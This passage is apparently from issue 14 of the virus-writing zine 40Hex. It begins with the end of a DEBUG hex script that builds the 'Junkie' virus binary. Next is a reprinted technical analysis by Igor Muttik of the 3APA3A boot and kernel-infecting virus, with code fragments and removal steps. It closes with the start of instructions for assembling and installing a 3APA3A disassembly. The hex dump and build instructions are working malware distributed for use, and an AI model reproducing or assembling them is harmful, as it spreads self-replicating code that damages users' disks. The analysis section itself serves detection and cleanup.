E 0260  03 72 0C C7 06 01 00 0F 7E E8 2A 00 E8 4D FF C3
E 0270  B9 01 00 B6 00 B0 01 BB E8 03 8B F3 52 E8 3C FF
E 0280  5A C3 83 C7 5E FC B9 10 00 F3 A5 C3 56 A5 A5 5E
E 0290  89 04 8C 44 02 C3 06 1E 50 53 51 52 56 57 FC 33
E 02A0  C0 CD 1A 33 D1 8B DA B4 02 CD 1A 8A D1 33 DA 89
E 02B0  1E 09 00 0E 07 BE 00 00 BF E8 03 B9 00 02 F3 A5
E 02C0  BF E8 03 83 C7 0F B9 F4 01 31 1D 47 47 E2 FA 5F
E 02D0  5E 5A 59 5B 58 1F 07 C3 06 1E 50 53 51 52 56 57
E 02E0  BA 45 59 B8 01 FA CD 16 EB E5 2E 80 3E 60 03 01
E 02F0  74 3C 1E 06 50 56 57 BE 84 00 33 C0 8E D8 A1 82
E 0300  00 3D 00 08 77 23 3D 00 00 74 1E 39 44 02 75 19
E 0310  39 06 9E 00 75 13 FA BF 5A 03 0E 07 B8 37 02 E8
E 0320  6A FF 2E C6 06 60 03 01 FB 5F 5E 58 07 1F 2E FF
E 0330  2E 33 02 53 FF 00 F0 3D 00 4B 74 12 80 FC 3D 74
E 0340  0D 80 FC 6C 74 08 2E FF 2E 5A 03 B0 03 CF 50 53
E 0350  51 52 57 56 1E 06 80 FC 6C 75 02 8B D6 E8 78 FF
E 0360  8B C8 33 C0 1E 8E D8 C4 06 90 00 C7 06 90 00 4B
E 0370  02 8C 0E 92 00 1F 06 50 B8 00 3D 9C 2E FF 1E 5A
E 0380  03 72 36 0E 1F 8B D8 53 B8 20 12 CD 2F B8 16 12
E 0390  26 8A 1D CD 2F 5B 72 1D 26 81 7D 28 43 4F 74 03
E 03A0  EB 13 90 06 57 26 C7 45 02 02 00 E8 23 00 5F 07
E 03B0  26 80 4D 06 40 B4 3E CD 21 33 F6 8E DE 58 07 A3
E 03C0  90 00 8C 06 92 00 07 1F 5E 5F 5A 59 5B 58 E9 75
E 03D0  FF E8 7D 00 B9 1D 00 B4 3F BA E4 03 CD 21 72 5E
E 03E0  E8 6C 00 B9 10 00 F7 F1 83 FA 03 74 51 8B 0E E4
E 03F0  03 8B 16 E6 03 89 0E 1B 00 89 16 20 00 E8 4F 00
E 0400  3D 00 10 72 39 3D 60 EA 77 34 E8 32 00 50 05 0F
E 0410  01 A3 01 00 58 C6 06 E4 03 E9 2D 03 00 A3 E5 03
E 0420  B4 40 B9 03 04 BA E8 03 E8 6B FE CD 21 72 0F B0
E 0430  00 E8 1D 00 BA E4 03 B9 04 00 B4 40 CD 21 C3 8A
E 0440  E0 B0 10 2A C4 25 0F 00 8B D0 B0 01 EB 05 90 B0
E 0450  02 33 D2 33 C9 B4 42 CD 21 C3 00 00 00 00 00 00
E 0460  01 00 44 72 20 57 68 69 74 65 20 2D 20 53 77 65
E 0470  64 65 6E 20 31 39 39 34 00 00 00 00 00 00 00 00
E 0480  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0490  00 00 00 00 00 00 00 00 00 00 EB 5E 33 FF BE 00
E 04A0  7C FA 8B E6 8E D7 FB 8E C7 B8 02 02 BB 00 7E B9
E 04B0  04 00 BA 80 00 56 53 CD 13 E9 80 01 4A 75 6E 6B
E 04C0  69 65 20 56 69 72 75 73 20 2D 20 57 72 69 74 74
E 04D0  65 6E 20 69 6E 20 4D 61 6C 6D 6F 2E 2E 2E 4D 30
E 04E0  31 44 FF FF 00 00 00 00 00 00 00 00 00 00 00 00
E 04F0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0500  00 00 00
R CX
0403
W
Q
---------------------------

40Hex Number 14 Volume 5 Issue 1                                      File 007

        Virus Spotlight: 3APA3A (ZARAZA)

This is a new virus which has come out of Russia. It has received a lot of
publicity in the virus and anti-virus communities due to the unusual manner
in which it infects. The following article, written by Igor G. Muttik, is a
good description of the virus. A disassembly of the virus follows this text.

        Dark Angel
        Phalcon/Skism '95
---------------------------------
     3APA3A virus -- the first kernel infector.
     ==========================================

     Igor G. Muttik

     Low Temperature Physics Laboratory,
     Physics Department,
     Moscow State University, 117234, Russia

     Phones: +7 095 9391147
             +7 095 3396238
     Email: MIG@lt.phys.msu.su


     KEYWORDS
     --------

     Virus, kernel, boot virus, resident, boot sector, kernel infector.


     ABSTRACT
     --------

     A new virus, which was found in Moscow in the wild is described. It
infects floppy  disks as  a normal boot virus. As against to normal boot
viruses, it  infects DOS kernel file (IO.SYS or IBMBIO.COM, etc.) on the
hard disk. Thus, this virus can be regarded as a representative of a new
virus type  - "kernel  infectors". Description of the virus internals is
given. The  virus structure,  properties  and  behavior  are  discussed.
Details on  the polymorphicity  of 3APA3A  are presented.  Given partial
dumps may  help to  detect and  cure the  virus, but  cannot be  used to
reconstruct it.



     INTRODUCTION
     ------------

     This new  virus appeared  in Moscow  (Russia). It  was found in the
wild in  Moscow 12-14  October 1994.  The virus  was named  "3APA3A" (in
Russian it  stands for some slang form of "INFECTION"). The message with
this string is stored (encrypted) in the body of the virus.

     Size of  the virus is 1024 bytes (exactly two sectors on the floppy
disk or  on the  hard drive). The virus is multipartite: it infects boot
sectors on  the floppy  disks and  DOS core  file  (IO.SYS  for  MS-DOS;
IBMBIO.COM for  PC-DOS; etc.).  Infection of  the floppies is alike many
known boot-sector viruses, but the algorithm of the hard drive infection
is unique.  Therefore, the virus belongs to a new virus class, which was
named "kernel  infectors". The  virus does  not analyze  the name of DOS
core file  and I shall use IO.SYS name below for simplicity (it may also
be IBMBIO.COM  or any other). Once the hard drive has been infected, the
virus activates every time the computer is turned on.

     On the  floppy disk,  the first  half of the virus is stored in the
boot sector.  Original floppy  boot sector  and the  second half  of the
virus are  stored at the very end of the root directory of the diskette.
Thus, when  infecting the  floppy disk,  the virus  overwrites two  last
sectors in its root directory.

     On the  hard drive  the virus  is at  the very beginning of the DOS
core file (IO.SYS. IBMBIO.COM, etc.) -- it takes 1k.



     INFECTION STRATEGY
     ------------------

     After boot from the infected floppy disk, the virus tries to infect
the first file in the root directory of the first DOS partition (usually
it is IO.SYS file). Map of memory usage (at the moment of HDD infection)
is given  in Fig.1.  The virus  uses segment 7C00 (not 7C0!) for its own
buffer (3.5k+sizeof(IO.SYS)).  This segment value -- 7C00 corresponds to
(512k-16k).  Computer   memory  size  equal  to  512k  will  be  usually
insufficient for  normal virus  operation, because size of the core file
(IO.SYS/IBMBIO.COM) exceeds  16k in  most modern  DOS versions. Sizes of
the system  files for  some DOS  versions are given in Fig.2. Therefore,
the virus is hardly viable on the computers without 640k.

     3APA3A virus  assumes that  the active  DOS partition  has  a  boot
sector at  CX=0001, DX=0180  (INT_13 notation:  i.e., 1st  HDD,  head=1,
sector=1). It  tries to infect only this first partition. If active boot
sector is anywhere else - 3APA3A will fail to infect hard disk properly.
The virus does not even read MBR to investigate disk partitioning.

     The virus  can only  infect  the  hard  drive,  if  the  first  DOS
partition is  bigger than 10.6MB (i.e., if it uses 16-bit FAT; the virus
cannot infect  other FAT  types). That was probably done for simplicity,
because it  will be  more difficult  to handle 12-bit FATs (or even both
FAT types).  The author  of the  3APA3A virus, probably, decided to make
the virus  shorter. Fortunately  (for him),  16-bit FATs  are much  more
frequent now  than 12-bit and much easier to handle. Actually, the virus
checks whether  total number  of sectors  in media  (i.e., in  the first
partition) is greater than 5103h or zero. Corresponding fragment of code
is given  in Fig.3.  The comparison  with zero is really needed, because
all partitions, which have more than 65535 sectors (>32MB) carry zero in
this field (and always uses 16-bit FATs).

     3APA3A virus  does  not  check  neither  attributes  of  the  first
directory entry,  nor its  name --  it will even "infect" a subdirectory
entry if  it is located at the very first position in the root directory
of the  hard disk  (that is  possible under  DOS 5.0  or  higher).  When
infecting this first entry, the virus duplicates it (i.e., copies IO.SYS
file cluster chain, duplicates its directory entry and updates the FATs)
and then infects the original IO.SYS file. It also marks this duplicated
directory entry with a volume-label bit. This bit serves as an infection
marker (if  it is  set, 3APA3A  virus decides  that the  hard  drive  is
already infected).  This bit  (when set)  simultaneously  preserves  the
infected IO.SYS  file from  DOS file  access --  all  DOS  file-oriented
functions AH=3Dh,  3Eh, 3Fh,  40h will  skip this  entry. Moreover, this
infected file will be not mentioned in the directory listing, because of
this bit. That looks like a smart non-resident type of stealth virus.

     The virus  reads only  5 sectors of the root directory of the first
DOS partition  (others are ignored). 3APA3A virus makes a root directory
modification using  two shifts (see Fig.4). The first copies entries #3-
#79 to  the location of #4-#80. The second copies #1 (IO.SYS) to #3. The
first shift  erases one  directory entry  (#80, the very last on the 5th
directory sector)  and it  is unrecoverably  lost. If  this entry  was a
subdirectory -- all files in it will become inaccessible. Two shifts are
needed to  guarantee that  the first  two entries  are still  IO.SYS and
MSDOS.SYS. That  is done  by the virus to  achieve maximum compatibility
-- some  old versions  of DOS  (prior to  DOS 5.0)  require  IO.SYS  and
MSDOS.SYS  at  the very  beginning of the root directory  and  the virus
tries to follow this rule.

     After directory modification we have two IO.SYS entries in the root
directory, but  the first is not shown in the directory listing, because
this entry  has volume-label  bit set.  Both mentioned directory entries
point on two copies of IO.SYS. The first IO.SYS (infected) is located in
its old  place and it differs from the original in only first 1024 bytes
(now, after  infection,  it  is  a  virus  itself).  The  second  IO.SYS
directory  entry   points  on  a  clone  of  the  original  IO.SYS  file
(uninfected), which was copied by the virus to the very end of the first
DOS partition.  When copying  original IO.SYS  cluster-by-cluster to the
partition end,  the virus checks whether there is free place on disk (it
reads last  sector of FAT). Scanning this last FAT sector (it represents
256 clusters),  the virus accurately skips used clusters. If there is no
more free  clusters (among  these 256) -- the virus will stop the entire
infection process. But if there is a place for IO.SYS copy -- it will be
created. This second IO.SYS copy at the disk end serves for two purposes
-- as  a source  of the  original IO.SYS  start (1k)  and as a decoy for
scanners  and   integrity  checkers   (they  will   probably  prefer  to
scan/analyse this non-volume-labeled file).

     When computer is turned on, DOS boot sector (which was not modified
by the  virus in  any way,  as well  as a  master boot record MBR) runs.
There is  no DOS  file system  yet and  the program  in the  boot sector
"simply" reads  the root  directory of the hard disk and finds the first
IO.SYS  entry.   This  entry   points  on   the  infected  IO.SYS  file.
Unfortunately, DOS  boot record program ignores volume-label bit, unlike
DOS file  system. Thus, the infected copy of the DOS core file IO.SYS is
started by DOS boot sector at each computer reboot.

     When the  virus gains  control, it  saves itself  in  the  computer
memory (like  a  normal  boot-sector  virus)  --  decreases  the  memory
available to  DOS on  2  kilobytes  (it  changes  the  word  at  address
[0:413]). A  reduction in  DOS memory  is a  usual sign of presence of a
boot virus.  The location  of the  virus in  computer memory  is  easily
calculated. For example, for a normal 640k computer, code segment of the
virus will  be 9F80.  The  virus  intercepts  only  disk  i/o  interrupt
(INT_13).  Now  all  accesses  to  the  floppy  disks  result  in  their
infection. The  virus infects  floppy disks  both in  A: and  B: drives.
Finally, it passes the control to the original IO.SYS.



     INTERNAL VIRUS STRUCTURE
     ------------------------

     The virus  consists of  two parts  (sectors, 512 bytes each). These
two parts  are pretty  independent! The  first (which  is stored  in the
floppy boot  sector) is  responsible for infection of the hard drive (it
checks for  virus presence  on the  hard drive,  copies  IO.SYS  to  the
partition end,  modifies root  directory, updates  all FATs,  makes  new
IO.SYS with  the virus  code  (1k)  at  the  very  start,  makes  IO.SYS
directory entry  with a  volume-label bit set, and calls original floppy
boot sector.  At the  very end  this part  stores the  location  of  the
infected IO.SYS  for future  use of  the second  virus part.  The second
virus sector  (IO_sector) contains  trigger  routine,  message  payload,
resident installer  and INT_13  handler  with  "polymorphic"  encryption
routine.

     The first  virus sector  is in  a boot  sector of  the contaminated
diskette, the  second virus  sector  --  in  the  last  sector  of  root
directory. On the hard disk this sequence is opposite -- infected IO.SYS
is started  with mentioned  second virus  sector (IO_sector),  which  is
followed by a boot sector.

     Therefore, first  virus sector  contains a  program to  infect hard
drive and IO_sector is simply placed into IO.SYS and not executed in any
part. The  IO_sector contains  a program  to infect  floppy disks and it
simply places infected boot sector (after appropriate encryption) on the
floppy disk.

     Two virus  parts (boot sector and IO_sector) work at different time
(first --  only at boot from the infected floppy, second -- only at boot
from the  hard drive) and virus boot sector only once passes a parameter
(DX:AX) to  the IO_sector.  Only one  procedure is  shared by both virus
parts --  which converts  sector# in DX:AX into CX=sec/cyl, DH=head (and
the virus  has to  patch offset in E8 call to this procedure, because it
is located  at different  offset now, not in 0000:7C00, as at boot time;
this procedure is at 7DD3 and/or at 3D3).

     Unlike many other boot sector viruses, 3APA3A encrypts its code (in
a floppy  boot sector).  Moreover, 3APA3A virus is slightly polymorphic,
which is  even more  unusual -- decryptor of the infected boot sector is
variable.   By   the   way,  only  very  few  boot-sector  viruses  have
polymorphic properties.  The dump  of the  virus decryption  routine  is
given in  Fig.5. The  order of instruction is fixed. Random value (word)
is taken  from  BIOS  timer  counter  [0:46C].  There  are  8  types  of
encryption routine  (4 use DI  register, 4  use SI).  Probability of  SI
usage is  3 times  higher, than usage of DI. One can see that the offset
of decryptor's  terminating jump is encrypted with 25% probability (byte
at 7C2B, which is an offset of a conditional jump, is encrypted with the
mentioned probability).  Thus, the  virus decryptor will hang with a 25%
probability on  386 and  486 processors.  Lower processors  (8088-80286)
have a  small queue (8088,80188,V20=4; 8086,80186,V30=6; 80286=8) and it
is not  sufficient to  store whole  decryption cycle  and cause  a hang.
Pentium is free of this problem, because it can detect the access to the
pre-fetched bytes  and flash  the queue.  On 80386-80486  processors the
virus will  hang with  25% probability  when booting from floppy disk if
the JNZ  offset was  encrypted --  data in memory and in processor queue
will become  different during decryption, processor will go into garbage
codes and hang.

     Because of  the encryption, only string like 'MSDOS 5.0' is visible
at the beginning of the boot sector (this string is a reminiscence of an
original boot  sector of  a floppy  disk).  Obviously,  55AA  marker  is
present  at   the  very  end  of  the  boot-sector.  Second  virus  part
(IO_sector), which  is placed  at the  very  last  sector  of  the  root
directory of  the floppy  disk, is not encrypted at all. Its location is
stored inside the code of the first virus sector at the moment of floppy
infection.

     Two bytes  in the  boot sector  are used  as an infection marker --
byte at  offset 18h  must be  zero and byte at 21h must be 2Eh (first is
byte from  BPB, second  -- constant  byte  in  the  decryption  routine,
CS: prefix).  Prior  to  the infection of floppy disk the virus performs
checks whether  this marker  is already  present. If this is the case --
the virus decides that floppy disk is already infected.

     If, occasionally,  you will  place  too  many  files  in  the  root
directory of  the floppy  and the  directory entries  will overwrite the
second virus  sector (IO_sector)  -- this  floppy  disk  will  become  a
carrier of  a damaged virus. If now any hard drive will be infected with
this floppy,  it will become unbootable (start of IO.SYS file will carry
the directory  entries from  the floppy  directory, instead of the virus
body).

     The structure  of the  second virus  sector (IO_sector) is shown in
Fig.6. DOS  boot sector  loads this code (as a part of normal IO.SYS) to
computer memory.  After virus  code (first  1k in IO.SYS) follows normal
IO.SYS image.  The virus  moves its own code (this 1k) to CS=9F80 (for a
normal 640k  PC) and replaces it with an original IO.SYS start. Original
IO.SYS start  is read  from hard disk and its position was stored inside
the virus  body at  the moment  of  hard  drive  infection.  Final  RETF
transfers control to the original IO.SYS image, which was "assembled" in
memory by 3APA3A virus.

     Memory map  usage of  3APA3A virus,  when it  is  resident  in  the
computer memory, is given in Fig.7. When the virus analyses an access to
the floppy  drive, sitting on the INT_13, it does not perform full check
whether boot  sector is  accessed (usually AH=02, CX=0001, DH=0), but it
calculates the  sum DH+CL+CH and decides that boot sector is accessed if
it  is  equal to 1.  That is not very compatible approach (because AH is
ignored  at all)  and  I have found  one  program, which confused 3APA3A
and virus  even tried  to access empty A: and B: drives. This program is
PU_1700.COM --  a resident  BIOS extension  to format/access floppies of
1.44MB size  in a  5.25" high-density  floppy drives.  When  PU_1700  is
loaded with the virus active in memory, both floppy drives turn on their
LEDs.

     Unusual method  is used  by the  virus to  access  original  INT_13
routine from  inside of  virus INT_13 handler. The virus patches its own
program (Fig.8)  -- places JMP instruction near the beginning of its own
handler, i.e.,  it "closes  the window  leaf". Now  the virus  makes  an
INT_13 call  (it is,  obviously, reentrant  call). Upon return from this
call the "window leaf" is opened back (JMP is replaced with JNZ).

     The virus  carries the  following message  --  "B  BOOT  CEKTOPE  -
3APA3A!"  This  string is  in Russian,  and translation  is --  "IN BOOT
SECTOR -  INFECTION!".  Besides  its usual use as "infection/contagion",
"3APA3A"  in   Russian  designates  something  particularly  boring  and
annoying.

     This string  is encrypted  (it is  located  at  offset  9A  in  the
IO_sector of  the virus,  its length  is 1A bytes) and it is not visible
even in  memory. It  will be  printed in  August on each reboot from the
hard  drive   (the  virus  calls  INT_1A/AH=04  and  checks  if  DH=08).
Obviously, the  virus will  never print  the message  on  XT  computers,
because they do not support INT_1A/AH=04 (have no AT-CMOS clock). If the
message is  not printed,  the virus  does not  advertise its presence at
all. It is, therefore, quite difficult to spot.

     Method of  the encryption  of this  string is somewhat unusual (see
Fig. 9). It looks like a "delta"-coding, because the current byte in the
series, when  being added to the previous character code, gives the next
one. The virus message terminates with ASCII codes "07", "0D", "10" (see
Fig.9). First  is a  beep, second  is a carriage return symbol (CR), but
the last is probably cased by a mistype of the virus author. He probably
wanted to  type CR,  LF (normal string terminator), but used hexadecimal
10, instead of decimal (i.e., 10h instead of 0Ah).

     The virus  message is  written in  Russian, but is composed only of
the pure  English ASCII  symbols. The  reason is  simple --  message  is
printed at  boot time, when software Cyrillic character generator is not
yet loaded,  so it  is not  possible to  use Cyrillic  letters. The only
way -- to  compose message  from normal  ASCII letters and digits (digit
"3" represents Russian letter, which sounds like "Z").

     Correct spelling  of the  virus name  --  "3APA3A"  in  Russian  is
"ZARAZA". Here  all "Z"  sound like in "zero" and all "A" sound like "u"
in "cut".

     3APA3A virus carries no special destructive payload.



     3APA3A: TREATMENT AND RUMORS
     ----------------------------

     After infection  of the hard disk the first root directory entry is
always marked  with a volume label bit. Therefore, old disk volume label
will be  not shown  and the  infected hard disk will usually carry label
"IO      SYS" (or  "IBMBIO  COM" for  PC-DOS, etc.). It will be reported
by DIR  and LABEL  command. The most noticeable effect of virus presence
is an unusual disk label.

     This new  "label" is uneraseable and unchangeable even with a LABEL
command. Probably DOS is confused with a strange volume label, which has
a non-zero  length and  it refuses to change it. Unfortunately, DOS even
does not  report that  he fails  to change (delete) the disk label -- no
error or warning message is given.

     First attempt  of an  inexperienced user to remove the virus may be
the usage  of undocumented  FDISK /MBR call, which reinitializes the MBR
program, leaving  partition table  intact. Obviously,  this approach not
works, because  the virus  is not stored in the MBR. Reinitialization of
DOS boot  sector will  not help  too. That  is because copy of the virus
code is neither in MBR, nor in DOS boot sector, but in IO.SYS file.

     The most  reasonable operation  is to  try to get rid of the 3APA3A
virus using SYS C: command. Unfortunately it does not work too! And even
after booting  from the  clean diskette! The reason is obvious -- SYS C:
will modify/remove  the second  copy  of  the  IO.SYS  file  (uninfected
copy!), which is located at the very end of the first DOS partition. The
infected copy  of IO.SYS will not be rewritten, because volume-label bit
preserved it from being recognized by SYS program as a DOS core file.

     CHKDSK (in  MS-DOS) will  always report errors on the infected hard
disk, because  it will  be alarmed  with a  FAT chain,  attached to  the
volume-labeled file.  Note, that  MS-DOS and  DR-DOS behaves differently
with "volume-labeled" files.

     Norton Disk  Doctor (I  tested NDD from Norton Utilities 6.0) gives
no warnings on the contaminated hard disk.

     Note that  many disk  optimizers (like  Norton SpeedDisk) prefer to
place  the  subdirectories in  the very  beginning of the root directory
(it  is possible only  in later versions  of DOS,  probably  starting at
5.00). The virus does not check if IO.SYS is really  the first  entry in
the root directory (only checks volume bit!), so it can  easily take the
first  directory  in  the  root  and regard it as an infectable DOS core
file! Such an attempt to "infect" the hard drive will fail --  the virus
will  perform  all  its  actions,  but  original  IO.SYS will be intact.
Presence  of  duplicated subdirectory (if it was the 1st entry) will not
affect  normal  operation  of   the  computer,  because this  duplicated
subdirectory with volume-label bit  will be ignored by DOS. And original
IO.SYS (placed  by  SpeedDisk somewhere else in the root directory) will
be uninfected. Only CHKDSK will report disk errors.

     The simple  sequence of actions to remove the virus from hard drive
is the following:

     1. Delete  IO.SYS file  (original uninfected copy). You may need to
remove  Hidden/System/Read-Only  attributes  to do that (for example use
Norton Commander).

     2. Remove "Vol" attribute from the infected IO.SYS in the root (you
can  use  Norton DiskEdit to  do this; infected volume-labeled IO.SYS is
the 1st directory entry).

     3. Delete  IO.SYS file  (infected copy).  You may  need  to  remove
Hidden/System/Read-Only attributes to do that (for example use NC).

     4. Run  CHKDSK /F and inspect/remove FILE00xx.CHK if any (some disk
errors may  have been  appeared on the hard disk because of the lost #80
dir entry).

     5. Run SYS C: from the system floppy disk to restore IO.SYS.

Note: Actions 1)-3) can be done with Norton DiskEdit.

     The virus  is very virulent, but we hope that the infection will be
local, because  anti-3APA3A measures  were undertaken shortly. The users
were  notified   about  the  possible  threat  and  anti-virus  programs
appeared, which  are capable  to detect and remove 3APA3A from diskettes
and from the hard drive.

     There is an unconfirmed information that currently available 3APA3A
virus is  actually the  second virus  in the  strain. According  to  the
information from  Russian  anti-virus  circles,  there  was  a  previous
version, which was released in March 1994 and computers in some banks in
Moscow were  contaminated. The  author of 3APA3A virus wrote a couple of
Email  messages,  which  were  delivered  through  Fidonet  without  the
originating address and they had a signature "Gena". Last stands for the
male name. He insisted that there are at least two versions in the wild.
He claimed  that he already created more "powerful" version(s), but they
are still in the "research phase" and not yet in the wild. He also wrote
that his  viruses were  caught with  such a  big delay, that he is fully
contented.  There  is also a rumor that the author of 3APA3A viruses was
forced to delete all his assembler texts by indignant PC users.


     ACKNOWLEDGEMENTS
     ----------------

     I am  acknowledged to VForum members for the fruitful discussion of
3APA3A properties  (especially to  Anthony Naggs,  Vesselin Bontchev and
Paul Ducklin).  I am  also acknowledged  to Igor  Daniloff (SALD, Saint-
Petersburg, Russia).




     FIGURES
     -------

Figure 1.  Map of  memory usage  of 3APA3A  virus, when  the virus  boot
sector is infecting the hard drive.

Address        Size      Function (buffer for)
-------------------------------------------------------
7C00:0000      200h      Hard drive boot sector
7C00:0200      2         AX for INT_13 (0201h, 0301h, etc.)
7C00:0202      1         DH for INT_13 (usually 80h)
7C00:0203      200h      FAT end
7C00:0403      A00h      HDD Root directory, 5 sectors only!
7C00:0E03      200h      FAT start
7C00:1003      2000h     1 cluster of original IO.SYS (*)
7C00:3003      2000h     2 cluster
7C00:5003      2000h     3 cluster
7C00:7003      2000h     4 cluster
7C00:9003      2000h     5 cluster
7C00:B003      2000h     6 cluster
...            ...       ...
7C00:xx03      2000h     last IO.SYS cluster
-------------------------------------------------------
(*) Cluster size was taken 8192 bytes (16 sectors) only for example.
    It may be different according to sectors/cluster ratio.



Figure 2. Sizes of DOS system files for different versions (in bytes).
-------------------------------------------------------------
DOS version    DOS type  IO/IBMBIO MSDOS/IBMDOS   COMMAND.COM
--------------------------------------------------------------
     1.00      PC        2047      6400           4959
     2.00      PC        4907      17411          18160
     3.00      PC        8964      27920          22042
     3.30      MS        22357     30128          25276
     4.00      PC        32810     35984          37637
     4.01      MS        33337     37376          37557
     5.00      MS        33430     37394          47845
     6.20      MS        40566     38138          54500
--------------------------------------------------------------



Figure 3. Virus code fragment, which checks whether partition uses 16
bit FAT or not.

7C75 A11300      MOV     AX,[0013]    ;total sectors in media on HDD
7C78 48          DEC     AX           ;0000 -> FFFF (for big disks!)
7C79 3D0351      CMP     AX,5103      ;16 bit FAT guaranteed!
7C7C 76B1        JBE     7C2F         ;pass control to floppy boot
...



Figure 4.  Modification of  the root directory of first DOS partition by
3APA3A virus:  a) initial  layout, b) after first shift c) after copying
of IO.SYS entry to 3rd position.

    -------------  -------------  -------------
#1  IO.SYS         IO.SYS         IO.SYS -> infected IO.SYS
    -------------  -------------  -------------
#2  MSDOS.SYS      MSDOS.SYS      MSDOS.SYS
    -------------  -------------  -------------
#3  FILE0003.EXT   FILE0003.EXT   IO.SYS -> copy of IO.SYS
    -------------  -------------  -------------
#4  FILE0004.EXT   FILE0003.EXT   FILE0003.EXT
    -------------  -------------  -------------
...
    -------------  -------------  -------------
#79 FILE0079.EXT   FILE0078.EXT   FILE0078.EXT
    -------------  -------------  -------------
#80 FILE0080.EXT   FILE0079.EXT   FILE0079.EXT
    -------------  -------------  -------------

         a)              b)             c)



Figure 5.  The decryptor  of virus  floppy boot sector is polymorphic. A
caret  "^"   symbol  designates   variable  bytes.  Number  in  brackets
corresponds to a comment below.

7C1E BE2C7C        MOV     SI,7C2C      ;starting address
     ^^^^ (1)
7C21 2E            CS:                  ;infection marker! (1 byte of 2)
7C22 800470        ADD     BYTE PTR [SI],70
     ^^^^^^ (2)
7C25 46            INC     SI
     ^^ (3)
7C26 81FEFB7D      CMP     SI,7DFB      ;upper limit ?
       ^^^^ (4)
7C2A 75F5          JNZ     7C21         ;<- JNZ offset may be encrypted
       ^^ (5)
7C2C ...

(1) These two bytes are variable and may be: 2BBE, 2CBE, 2DBE or 2EBF.
    Makes: MOV SI, 7C2B; MOV SI, 7C2C; MOV SI, 7C2D; MOV DI, 7C2E.
    Thus, start of encryption at address: 7C2B, 7C2C, 7C2D, 7C2E
    (with equal probability).

(2) These three bytes are variable:
    F61490 or F61590  NOT   BYTE PTR [SI]    ;or [DI] (3rd byte is 90h)
    8004xx or 8005xx  ADD   BYTE PTR [SI],xx ;or [DI] (3rd byte xx=RND)
    802Cxx or 802Dxx  SUB   BYTE PTR [SI],xx ;or [DI] (3rd byte xx=RND)
    8034xx or 8035xx  XOR   BYTE PTR [SI],xx ;or [DI] (3rd byte xx=RND)

(3) This byte may be 46 (INC SI, 75% probability) or
    47 (INC DI, 25% probability)

(4) These two bytes are variable: FAFE, FBFE, FCFE or FDFF.
    Makes: CMP SI,7DFA; CMP SI,7DFB; CMP SI,7DFE; CMP DI,7DFD)

(5) This byte may be encrypted (probability=25%)! And the virus
    will hang on 386, 486 because of processor queue pre-fetch.



Figure 6. Global structure of the virus IO_sector.

0000:7C00      PUSH CS             ;places startCS on stack
               CALL $+3
               POP  SI             ;gets relative position in CS
               SUB  SI,4           ;sizeof(PUSH+CALL)
               PUSH SI             ;places it on stack
                                   ;(startCS:SI=0000:7C00 is on stack)
               PUSH AX/BX/CX/DX/DS/ES
          ---------------------
          |    viral code     |
          ---------------------
          ---------------------
          |    copy virus     |
          |    code to        |
          |    ES=9F80        |
          ---------------------
               PUSH ES             ;ES=9F80
               MOV  AX,006C
               PUSH AX             ;(9F80:006C is on stack now)
               RETF                ;same as JMP 9F80:006C

9F80:006C ---------------------
          |    read 2 sectors |
          |    from original  |
          |    IO.SYS to      |
          |    0000:7C00      |    ;read 1k to startCS:SI=0000:7C00
          |    ...            |
          ---------------------
               POP ES/DS/DX/CX/BX/AX
               RETF                ;same as JMP 0000:7C00



Figure 7.  Map of  memory usage  of 3APA3A virus, when it is resident in
computer memory (CS=9F80 and the virus sets DS=ES=9FA0).

----------------------------------------------------------------------
Address   (same as)      Size      Function
CS:offset DS:offset      (bytes)   (buffer for)
----------------------------------------------------------------------
9F80:0000                200h      IO_sector
9F80:0200 9FA0:0000      200h      Virus boot sector
                                   (used for encryption)
9F80:0400 9FA0:0200      2         0201/0301 (AX for INT_13)
9F80:0402 9FA0:0202      1         0/1 (DL for INT_13)
9F80:041E 9FA0:021E      1E2h      Virus boot sector code (orig. copy)
9F80:0600 9FA0:0400      200h      Current floppy boot sector
----------------------------------------------------------------------
(*) Code segment CS=9F80 was taken for example. That is a location
    of the virus for normal 640k computer (CS=A000-2k).



Figure 8. "Window leaf" in the interrupt 13h function of virus.
Leaf is "closed" at address 00BC and is opened at 00C4.

00B4 A10002      MOV     AX,[0200]    ;may be read and write
00B7 8A160202    MOV     DL,[0202]    ;drive # (0/80)
00BB 2E          CS:
00BC C606E300EB  MOV     BYTE PTR [00E3],EB   ;-> JMP ("close leaf")
00C1 CD13        INT     13
00C3 2E          CS:
00C4 C606E30075  MOV     BYTE PTR [00E3],75   ;-> JNZ ("open leaf")
00C9 7202        JB      00CD
00CB FC          CLD
00CC C3          RET
...
; virus INT_13 handler (usually at 9F80:00D5)
00D5 50          PUSH    AX
00D6 53          PUSH    BX
00D7 51          PUSH    CX
00D8 52          PUSH    DX
00D9 56          PUSH    SI
00DA 57          PUSH    DI
00DB 1E          PUSH    DS
00DC 06          PUSH    ES
00DD 55          PUSH    BP
00DE 8BEC        MOV     BP,SP
00E0 F6C280      TEST    DL,80        ;HDD (1st or 2nd)?
00E3 EBED        JMP     00D2         ;<- see 00C4 & 00BC (set JNZ/JMP)
;here if not HDD
00E5 02F1        ADD     DH,CL
00E7 02F5        ADD     DH,CH
00E9 80FE01      CMP     DH,01        ;DH=CH+CL+DH=1 if boot sector
00EC 77E4        JA      00D2         ;exit from handler
...



Figure 9. The virus code fragment, which prints the message
"B BOOT CEKTOPE - 3APA3A!  <BELL> <0Dh> <10h>"

000F B404        MOV     AH,04          ;get CMOS date
0011 CD1A        INT     1A
0013 80FE08      CMP     DH,08          ;August?
0016 7512        JNZ     002A
0018 8D9C9A00    LEA     BX,[SI+009A]   ;pointer on message
001C B8420E      MOV     AX,0E42        ;tty output, ASCII(42)='B'
001F B91A00      MOV     CX,001A        ;length
;
0022 CD10        INT     10
0024 2E          CS:
0025 0207        ADD     AL,[BX]        ;sum all prev. chars in AL
0027 43          INC     BX             ;increase pointer
0028 E2F8        LOOP    0022

...

009A DE220D0005CC2302    ;this table stores values,
00A2 0609FB01F5DB0DF3    ;which being added to previous char
00AA 130E0FF1F20EE0E6    ;gives new one (smth. like "delta"-coding)
00B2 0603                ;last char has an error - 10h instead of LF
---------------------------------------------------
; To assemble, simple run TASM and TLINK on this file and generate a binary.
; The first 512d bytes of the binary will contain the portion of the virus
; which resides in IO.SYS. The second 512d bytes will contain the boot
; section portion of the virus.

; Installation is slightly more difficult. It requires you to simulate
; an infection with 3apa3a. Read the text above for information. Basically,
; you have to fill in the BPB in the boot sector, fill in the patch values,
